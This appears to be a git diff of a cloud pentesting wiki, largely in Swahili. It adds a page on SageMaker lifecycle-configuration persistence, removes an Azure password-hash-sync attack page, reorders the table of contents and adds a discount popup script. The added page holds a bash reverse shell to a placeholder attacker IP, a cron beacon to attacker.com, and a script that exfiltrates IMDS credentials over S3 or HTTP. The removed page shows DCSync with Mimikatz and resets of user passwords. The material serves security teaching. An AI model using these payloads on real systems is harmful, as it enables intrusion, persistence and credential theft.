diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 17225a2e2..582319269 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -442,11 +442,13 @@
   - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
   - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
     - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
-      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
       - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
       - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
-      - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
+      - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
+      - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
+      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
       - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
       - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
       - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg
new file mode 100644
index 000000000..5c0b098d4
Binary files /dev/null and b/src/images/discount.jpeg differ
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
new file mode 100644
index 000000000..22bdf24d6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
@@ -0,0 +1,156 @@
+# AWS - SageMaker Lifecycle Configuration Persistence
+
+## Overview of Persistence Techniques
+
+Sehemu hii inaelezea mbinu za kupata kudumu katika SageMaker kwa kutumia Lifecycle Configurations (LCCs), ikiwa ni pamoja na reverse shells, cron jobs, wizi wa akreditivu kupitia IMDS, na SSH backdoors. Skripti hizi zinafanya kazi na jukumu la IAM la mfano na zinaweza kudumu hata baada ya kuanzishwa upya. Mbinu nyingi zinahitaji ufikiaji wa mtandao wa nje, lakini matumizi ya huduma kwenye AWS control plane bado yanaweza kuruhusu mafanikio ikiwa mazingira yako katika hali ya 'VPC-only'.
+#### Note: SageMaker notebook instances ni kimsingi EC2 instances zinazodhibitiwa ambazo zimewekwa maalum kwa ajili ya kazi za kujifunza mashine.
+
+## Required Permissions
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Maombi ya Studio:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Weka Mzunguko wa Maisha kwenye Mifano ya Notebook
+
+### Mfano wa Amri za AWS CLI:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Weka Mipangilio ya Mzunguko kwenye SageMaker Studio
+
+Mipangilio ya Mzunguko inaweza kuunganishwa katika viwango mbalimbali na kwa aina tofauti za programu ndani ya SageMaker Studio.
+
+### Kiwango cha Kikoa cha Studio (Watumiaji Wote)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Kiwango cha Studio Space (Nafasi Binafsi au Zilizoshirikiwa)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Aina za Mipangilio ya Mzunguko wa Maombi ya Studio
+
+Mipangilio ya mzunguko inaweza kutumika kwa aina tofauti za maombi ya SageMaker Studio:
+* JupyterServer: Inatekeleza skripti wakati wa kuanzishwa kwa seva ya Jupyter, bora kwa mitambo ya kudumu kama vile reverse shells na cron jobs.
+* KernelGateway: Inatekeleza wakati wa uzinduzi wa programu ya kernel gateway, muhimu kwa usanidi wa awali au ufikiaji wa kudumu.
+* CodeEditor: Inatumika kwa Mhariri wa Kode (Code-OSS), ikiruhusu skripti zinazotekelezwa wakati wa kuanza kwa vikao vya uhariri wa kode.
+
+### Amri ya Mfano kwa Kila Aina:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### CodeEditor
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Taarifa Muhimu:
+* Kuunganisha LCCs kwenye kiwango cha domain au nafasi kunaathiri watumiaji au programu zote ndani ya upeo.
+* Inahitaji ruhusa za juu (sagemaker:UpdateDomain, sagemaker:UpdateSpace) ambazo kwa kawaida ni rahisi zaidi kwenye kiwango cha nafasi kuliko kiwango cha domain.
+* Udhibiti wa kiwango cha mtandao (kwa mfano, uchujaji mkali wa kutoka) unaweza kuzuia shells za nyuma zinazofanikiwa au uhamishaji wa data.
+
+## Shell ya Nyuma kupitia Mipangilio ya Mzunguko
+
+Mipangilio ya Mzunguko ya SageMaker (LCCs) inatekeleza skripti maalum wakati mifano ya notebook inaanza. Mshambuliaji mwenye ruhusa anaweza kuanzisha shell ya nyuma inayodumu. 
+
+### Mfano wa Payload:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+Mshambuliaji anaweza kuingiza kazi za cron kupitia scripts za LCC, kuhakikisha utekelezaji wa mara kwa mara wa scripts au amri za uhalifu, na kuwezesha kudumu kwa siri.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Uhamasishaji wa Akida kupitia IMDS (v1 & v2)
+
+Mikakati ya mzunguko inaweza kuuliza Huduma ya Metadata ya Kifaa (IMDS) ili kupata akida za IAM na kuhamasisha hizo kwenye eneo linalodhibitiwa na mshambuliaji.
+
+### Mfano wa Payload:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
deleted file mode 100644
index f96ded6bc..000000000
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ /dev/null
@@ -1,114 +0,0 @@
-# Az - PHS - Password Hash Sync
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sawa na usawazishaji wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
-
-<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
-
-Ni **mbinu ya kawaida zaidi** inayotumiwa na kampuni kusawazisha AD ya ndani na Azure AD.
-
-**Watumiaji** wote na **hash ya hash za nywila** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hash za asili** hazitumwi kwa Azure AD.\
-Zaidi ya hayo, vikundi vya usalama **vilivyojengwa ndani** (kama wasimamizi wa eneo...) **havisawazishwi** kwa Azure AD.
-
-**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
-
-Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji unafanyika kwenye Azure AD**.
-
-**PHS** inahitajika kwa vipengele kama **Ulinzi wa Utambulisho** na Huduma za Kikoa za AAD.
-
-## Pivoting
-
-Wakati PHS imewekwa, baadhi ya **akaunti zenye mamlaka** zinaanzishwa kiotomatiki:
-
-- Akaunti **`MSOL_<installationID>`** inaanzishwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Akaunti za Usawazishaji wa Katalogi** (ona [nyaraka](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za uzalishaji (DCSync) katika AD ya ndani**.
-- Akaunti **`Sync_<name of on-prem ADConnect Server>_installationID`** inaanzishwa katika Azure AD. Akaunti hii inaweza **kurekebisha nywila ya MTUMIAJI YOYOTE** (iliyowekwa sawa au ya wingu pekee) katika Azure AD.
-
-Nywila za akaunti hizo mbili zenye mamlaka zimehifadhiwa katika **seva ya SQL** kwenye seva ambapo **Azure AD Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\
-Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
-
-Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa:
-
-`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
-
-**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi inawezekana kupandisha hadhi hadi AD na AzureAD.
-
-Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufunguliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg).
-
-### Finding the **Azure AD connect server**
-
-Ikiwa **seva ambapo Azure AD connect imewekwa** imeunganishwa na kikoa (iliyopendekezwa katika nyaraka), inawezekana kuipata kwa:
-```bash
-# ActiveDirectory module
-Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
-
-#Azure AD module
-Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
-```
-### Kutumia MSOL\_*
-```bash
-# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
-Get-AADIntSyncCredentials
-
-# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
-runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
-Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
-```
-> [!CAUTION]
-> Unaweza pia kutumia [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) kupata hizi sifa.
-
-### Kutumia Sync\_\*
-
-Kuharibu akaunti ya **`Sync_*`** inawezekana **kurekebisha nenosiri** la mtumiaji yeyote (ikiwemo Wasimamizi wa Kimataifa)
-```bash
-# This command, run previously, will give us alse the creds of this account
-Get-AADIntSyncCredentials
-
-# Get access token for Sync_* account
-$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
-$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
-Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
-
-# Get global admins
-Get-AADIntGlobalAdmins
-
-# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
-Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
-
-# Reset the users password
-Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
-
-# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
-```
-Inawezekana pia **kubadilisha nywila za watumiaji wa wingu** pekee (hata kama hiyo siyo ya kutarajia)
-```bash
-# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
-# The CloudAnchor is of the format USER_ObjectID.
-Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
-
-# Reset password
-Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
-```
-Ni possible pia kutoa nenosiri la mtumiaji huyu.
-
-> [!CAUTION]
-> Chaguo lingine lingekuwa **kutoa ruhusa za kipaumbele kwa huduma ya msingi**, ambayo mtumiaji wa **Sync** ana **ruhusa** ya kufanya, na kisha **kufikia huduma hiyo ya msingi** kama njia ya privesc.
-
-### Seamless SSO
-
-Ni possible kutumia Seamless SSO na PHS, ambayo inahatarishwa na matumizi mengine. Angalia katika:
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
-## References
-
-- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
-- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
-- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
-- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 13337c3f1..02f51127e 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -1,3 +1,104 @@
+/**
+ * HackTricks Training Discounts
+ */
+
+
+(() => {
+  const KEY = 'htSummerDiscountsDismissed';
+  const IMG = '/images/discount.jpeg';
+  const TXT = 'Click here for HT Summer Discounts, Last Days!';
+  const URL = 'https://training.hacktricks.xyz';
+
+  /* Stop if user already dismissed */
+  if (localStorage.getItem(KEY) === 'true') return;
+
+  /* Quick helper */
+  const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
+
+  /* --- Overlay (blur + dim) --- */
+  const overlay = $('div', `
+    position: fixed; inset: 0;
+    background: rgba(0,0,0,.4);
+    backdrop-filter: blur(6px);
+    display: flex; justify-content: center; align-items: center;
+    z-index: 10000;
+  `);
+
+  /* --- Modal --- */
+  const modal = $('div', `
+    max-width: 90vw; width: 480px;
+    background: #fff; border-radius: 12px; overflow: hidden;
+    box-shadow: 0 8px 24px rgba(0,0,0,.35);
+    font-family: system-ui, sans-serif;
+    display: flex; flex-direction: column; align-items: stretch;
+  `);
+
+  /* --- Title bar (link + close) --- */
+  const titleBar = $('div', `
+    position: relative;
+    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    text-align: center;
+    background: #222; color: #fff;
+    font-size: 1.3rem; font-weight: 700;
+  `);
+
+  const link = $('a', `
+    color: inherit;
+    text-decoration: none;
+    display: block;
+  `);
+  link.href = URL;
+  link.target = '_blank';
+  link.rel = 'noopener noreferrer';
+  link.textContent = TXT;
+  titleBar.appendChild(link);
+
+  /* Close "X" (no persistence) */
+  const closeBtn = $('button', `
+    position: absolute; top: .25rem; right: .5rem;
+    background: transparent; border: none;
+    color: #fff; font-size: 1.4rem; line-height: 1;
+    cursor: pointer; padding: 0; margin: 0;
+  `);
+  closeBtn.setAttribute('aria-label', 'Close');
+  closeBtn.textContent = '✕';
+  closeBtn.onclick = () => overlay.remove();
+  titleBar.appendChild(closeBtn);
+
+  /* --- Image --- */
+  const img = $('img');
+  img.src = IMG; img.alt = TXT; img.style.width = '100%';
+
+  /* --- Checkbox row --- */
+  const label = $('label', `
+    display: flex; align-items: center; justify-content: center; gap: .6rem;
+    padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
+  `);
+  const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
+  cb.onchange = () => {
+    if (cb.checked) {
+      localStorage.setItem(KEY, 'true');
+      overlay.remove();
+    }
+  };
+  label.append(cb, document.createTextNode("Don't show again"));
+
+  /* --- Assemble & inject --- */
+  modal.append(titleBar, img, label);
+  overlay.appendChild(modal);
+
+  if (document.readyState === 'loading') {
+    document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
+  } else {
+    document.body.appendChild(overlay);
+  }
+})();
+
+
+
+
+
+
 /**
  * HackTricks AI Chat Widget v1.16 – resizable sidebar
  * ---------------------------------------------------